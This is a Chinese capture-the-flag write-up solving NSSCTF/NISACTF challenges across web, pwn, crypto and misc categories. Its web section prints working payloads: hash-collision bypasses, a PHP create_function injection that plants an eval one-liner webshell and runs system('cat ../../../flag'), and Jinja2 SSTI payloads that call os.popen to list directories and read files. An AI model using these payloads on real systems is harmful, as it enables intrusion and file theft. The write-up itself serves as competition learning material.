WriteUp
文章目录
WEB
checkin
题目:
以为白给题,结果输入不对,f12
查看源码。发现一些奇怪的东西:
down了源码,本地打开复制Ugeiwocuishiyuan
Payload:
http://120.27.195.236:28990/?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6N1SACTF
level-up
第一关:什么都没有,查看源码,发现disallow,直接访问robots.txt
,来到第二关。
第二关:md5相等绕过,网上找找MD5碰撞的字符串
payload
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
hash碰撞样例:https://blog.csdn.net/cosmoslin/article/details/120973888
第三关:sha1碰撞,和上面一样
payload
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
第四关:需要传入参数NI_SA_
,但是正则匹配不允许上传_
,.
,(空格)
,所以需要绕过正则。
百度一下parse_url
,
url_scheme:@host[:port]][/path][?query][#fragment]
查到这里,发现需要在path前面多加两条/
,即可让query匹配不到正确参数。
payload
http://120.27.195.236:28991///level_level_4.php?NI_SA_=txw4ever
第五关:终于到最后一关了,orz…
看一下正则/^[a-z0-9_]*$/isD
的意思:
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D如果使用$限制结尾字符,则不允许结尾有换行;
那么很显然,所有以数字,字母,下划线等开头的value都会被过滤,我们无法进入下面的.这里有一种bypass方式,在变量前面就上%5c
即可。
使用第一个变量传递函数名,第二个变量传递函数内容来get flag。
函数名使用php官方函数create_function
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5FRqU9NX-1648434574790)(2022-03-27-20-06-13.png)]
测试函数执行1:
?a=%5ccreate_function&b=return%222333%22;}phpinfo();/*
上传后,函数为
create_function_anonymous(){
return"2333";}
phpinfo();
/*}
上传一句话木马:b= return "2333";}eval($_REQUEST['kinnisoy']);/*
遍历目录:
a=%5ccreate_function&b=return%222333%22;}eval($_REQUEST[%27kinnisoy%27]);/*&kinnisoy=var_dump(scandir(%27./%27));
到这层时,发现flag文件,cat读取即可。
最终payload
/55_5_55.php?a=%5ccreate_function&b=return%222333%22;}eval($_REQUEST[%27kinnisoy%27]);/*&kinnisoy=system(%27cat%20../../../flag%27);
is secret
嗯?
嗯嗯?瞅一眼robots.txt
嗯嗯嗯???secret???
查到往年的一道题:https://wwwofai.com/article/2616
wow~ wow~ wow~
当/secret?secret=awsds
secret的长度超过4时,会报错。
上面给出来RC4加密时的密钥:HereIsTreasure
SSTI模板注入,使用网上的脚本,来编码payload。
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time : 2022/3/26 19:51
# @Author : kinnisoy
# @Email : kinnisoy@gmail.com
# @File : secret.py
# @Software: PyCharm
# -*----*--*----*--*----*-
import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
#前往加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
key = "HereIsTreasure"
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
# #print("rc4加密后的base64编码"+enc_base64)
# payload1 查看当前目录
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
# payload2=' 查看flag
# {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
执行代码
payload secret=下面的值即可get flag
.J%19S%C2%A5%15Km%2B%C2%94%C3%96S%C2%85%C2%8F%C2%B8%C2%97%0B%C2%90X5%C2%A4A%C3%9FMD%C2%AE%07%C2%8BS%C3%9F7%C3%98%12%C3%85r%C3%A9%1B%C3%A4%2A%C3%A7w%C3%9B%C2%9E%C3%B1h%1D%C2%82%25%C3%AD%C3%B4%06%29%7F%C3%B0o%2C%C2%9E9%08%C3%87%C3%B7u.%C3%BB%C2%95%14%C2%BFv%05%19j%C2%AEL%C3%9A-%C3%A3t%C2%AC%7FX%2C8L%C2%81%C3%91H%C3%BF%C3%B6%C3%A3%C3%9A%C3%B5%C2%9A%C2%A6%23%06%C2%A7%C2%B8%C2%BB%C2%B9%C3%A6ny%C3%98%C3%8Aj%C2%BB%25X%15%C3%97%C2%84F%24%1As%5E%C2%9B%C3%97%C2%A4%20j%C2%A5/%17%1C%C3%9Fs%C2%AF6%C3%85%C2%A5%C2%B1.%C3%A8%C2%A2Y%21%C2%A8%C3%A0%10%C2%8Aa%5D%5C%2B%C3%8E%C2%B0%C2%99%C3%A0%C2%BE%C2%87-%10x%20%5D%C3%9A%0B%C2%882P%C3%A3%C3%93%08n0%C3%AE%C3%BDb%C2%B1%C3%80%C3%B6%1F%5B%C2%88B%23~%C3%A6%C2%BC%5D%C2%81%C3%BF%C3%88d%C2%AE%C2%B8%C3%8E2%C2%92%20C%C2%B7%C2%B7%C2%95%C3%95Wj%C3%93%C2%B5%C3%AA_%C2%A1%2B%C2%87%C2%B5l%08%27%3F%C3%96
PWN
ReorPwn?
题目给了nc,直接开连
Tell me what you want to execve:???
反着来?我也会! ls
查看!
cat flag
拿下!
CRYPTO
sign_crypto
?什么鬼 希腊字母?看看百度
这给出来的就是flag的格式,{
}
括号告诉我的
再看看表,求和符号就是S吧,哎?
查表对应即可。nisa那个地方,其实是上面的帽子符号,是widehat。所以是W。
funnycaeser
NRQ;P<uLliW^(XQ/QT\NDh
拿到密文,一看funny,就知道一点都不funny。
常规解,无解。
想到之前有变异凯撒的一道题,第一位位移x
,第二位位移x+1
,依次下去。
来写脚本看看:这是第1次,从1开始偏移;第二次从2开始偏移;…26次
发现第一个flag的形状出来了,但是不太对,NSSCTF中的C
和F
显示不正确,对比ascii码表,发布剔除掉中间5个特殊符号后,便可以对应是,所以修改脚本。
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time : 2022/3/25 23:40
# @Author : kinnisoy
# @Email : kinnisoy@gmail.com
# @File : ezcaeser.py
# @Software: PyCharm
# -*----*--*----*--*----*-
m=r'NRQ;P<uLliW^(XQ/QT\NDh'
num=[0]
for i in range(len(m)):
if(i==0):
num[0]=ord(m[i])
continue
if(ord(m[i])<65 or 90<ord(m[i])<97):
num.append(ord(m[i])+5)
continue
num.append(ord(m[i]))
for change in range(1):
flag = ''
for i in range(len(num)):
flag+=chr((i+change+num[i]))
print(flag)
提交flag,不对?等等 题目是啥?凯撒!把X改成r提交。ok!
最后一个为啥解出来是X,咱也不清楚。
反正题目上的caesar也没写对,暴打出题人就完了。
normal
直接解码就行
ook => unicode => base64 => BubbleBabble => rot13
xor
分析拿到的文件,将32位的比特,分成左右两部分,与八个16位的密钥做异或。
可以分别得到密钥中1、3、5、7异或结果的等价16位比特,2、4、6、8异或结果的等价16位比特,分别恢复出flag的左右两半部分,再拼起来。
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time : 2022/3/26 14:04
# @Author : kinnisoy
# @Email : kinnisoy@gmail.com
# @File : xor.py
# @Software: PyCharm
# -*----*--*----*--*----*-
import os
import base64
from Crypto.Util import number, strxor
a_b64='i03yXzXWe4QTiwJHlUZo6iqEdDkwJVviSOQ7CM3vJmM='
enc_a_b64='4EnYOhbivTMP5r4VYLA8cwJBFTXIeeKAoNf/3ctgLLA='
enc_flag_b64='+qyVMEei1eN3YbV/z2kjcaCKngWc2pW2/e7HwpXKaj0='
a=base64.decodebytes(bytes(a_b64, encoding='utf8'))
enc_a=base64.decodebytes(bytes(enc_a_b64, encoding='utf8'))
enc_flag = base64.decodebytes(bytes(enc_flag_b64, encoding='utf8'))
def get_m0(a: bytes, r8: bytes):
l = a[:16]
r = a[16:]
m0 = strxor.strxor(strxor.strxor(r, l), r8)
return m0
def get_m1(a: bytes, l8: bytes):
# l = a[:16]
r = a[16:]
m1 = strxor.strxor(r, l8)
return m1
def get_flag_right(l8: bytes, m1: bytes):
return strxor.strxor(l8, m1)
def get_flag_left(fr: bytes, m0: bytes, right: bytes):
return strxor.strxor(strxor.strxor(fr, right), m0)
def get_flag(enc_flag,a,enc_a):
l8 =enc_a[:16]
r8 = enc_a[16:]
m1 = get_m1(a,l8)
m0 = get_m0(a,r8)
fl8= enc_flag[:16]
fr8 = enc_flag[16:]
right = get_flag_right(fl8,m1)
left = get_flag_left(fr8,m0,right)
return left+right
flag=get_flag(enc_flag,a,enc_a)
print(flag)
# print(flag.decode('utf-8'))
MISC
签到
嗯。
huaji?
查看附件,文件头为jpg,恢复文件后缀。
binwalk 分析,得到压缩包。有密码?
发现图片右键属性中有一串字符
拿去十六进制转字符,emmmm 压缩包密码。
解压,拿到真正的flag。
bqt
查看附件,文件头为pdf,恢复文件后缀。
CTRL+A,选中了点什么,直接复制出来。
字母最大到f,应该是十六进制。
拿去在线解,发现乱码,应该是超出ascii码范围了。
python一下!
#!/usr/bin/python3.8
# -*- coding: utf-8 -*-
# @Time : 2022/3/26 0:39
# @Author : kinnisoy
# @Email : kinnisoy@gmail.com
# @File : misc_pdf.py
# @Software: PyCharm
# -*----*--*----*--*----*-
cipher = "c8e9aca0c3f4e6e5f2a1a0d4e8e5a0e6ece1e7a0e9f3baa0e6ece1e7fbf7e5e6e5efe9e4eae7efe5e4f3e6e9eff2f0e5e6e4e6e7e7e6e4f3e5fd"
print(''.join([chr(int(cipher[i:i + 2], 16) - 128) for i in range(0,len(cipher), 2)]))
where_is_here
百度识图,携程的链接点进去,确认是厦门鼓浪屿的旅馆,查看联系电话。
不愉快的地方
百度识图,确认是清溪川,科学上网,google地图记录经纬度,清溪川,看到官网,点进去
查看组织架构图
福利题
来晚了,没抢到奶茶!!!
问卷
嗯。